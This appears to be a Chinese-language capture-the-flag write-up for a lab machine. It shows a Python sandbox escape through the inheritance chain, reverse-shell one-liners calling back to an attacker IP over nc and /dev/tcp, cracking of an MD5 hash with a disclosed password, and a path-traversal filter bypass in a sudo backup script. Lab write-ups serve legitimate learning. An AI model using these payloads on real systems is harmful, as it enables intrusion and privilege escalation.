
USER
nmap -T4 -v -A -Pn 10.10.11.62 -oN code.txt

继承链调用
port 5000
一个 python 在线编译器,如果直接尝试使用普通的 python 执行系统命令,会显示
Use of restricted keywords is not allowed.
使用了受限字符

可能存在环境限制了某些模块的导入,比如os模块被禁用,可以用到 Python对象继承链,尝试绕过一下,
索引 371 指向subprocess.Popen
类(对比普通的 os 模块导入,是隐式的,可以用来绕过黑名单)
以下两种都是可以的
#管道
().__class__.__base__.__subclasses__()[317](["/bin/bash","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.XX.XX 5566 >/tmp/f|bash"])
#bash tcp
().__class__.__base__.__subclasses__()[317](["/bin/bash","-c","ls|bash -i >& /dev/tcp/10.10.XX.XX/5566 0>&1"])
获得app-production 用户的权限

到/home/app-production 目录就可以看到 user.txt 了

ROOT
database.db
在/home/app-production/app/instance
路径下发现了一个 database.db 文件
下载下来查看

发现另一个用户 martin 的 password hash:3de6f30c4a09c27fc71932bfc68474be
破解一下
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

nafeelswordsmaster
用密码 ssh 连接到martin

backy.sh
sudo -l 查看,可以 sudo 权限执行 backy.sh

Bash 脚本的主要作用是处理一个 JSON 文件,验证其中指定的目录是否符合允许路径的要求,并最终调用 backy
来备份

查看一下 backy

我们在/home/martin/backups 路径下面就可以看到一个 task.json 文件

那我们可以修改备份路径,让 bakcy 备份 root.txt,然后查看
先修改 task.json
cat > /home/martin/backups/task.json << EOF
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/root/"
]
}
EOF
然后 sudo 权限备份
sudo /usr/bin/backy.sh /home/martin/backups/task.json

会受到提醒,所以我们修改一下(而且发现对../
有过滤,所以我们可以....//
双写绕过一下)
(后面发现如果task.json 在/home/martin/backups/
会有../
过滤,但是在/tmp
目录却没有过滤)
这里演示一下/tmp
目录的
sudo /usr/bin/backy.sh /tmp/task.json
cat > /tmp/task.json << EOF
{
"destination": "/tmp",#在/home/martin/backups/目录换成'/home/martin/backups/'
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/../root/root.txt" #在/home/martin/backups/目录换成'/var/....//root/root.txt'
]
}
EOF
然后再次 sudo 执行 backy,然后解压生成的压缩文件
最后进入备份的 root 文件夹就可以看到 root.txt 了
tar -xvjf code_var_.._root_root.txt_2025_March.tar.bz2


Comments | NOTHING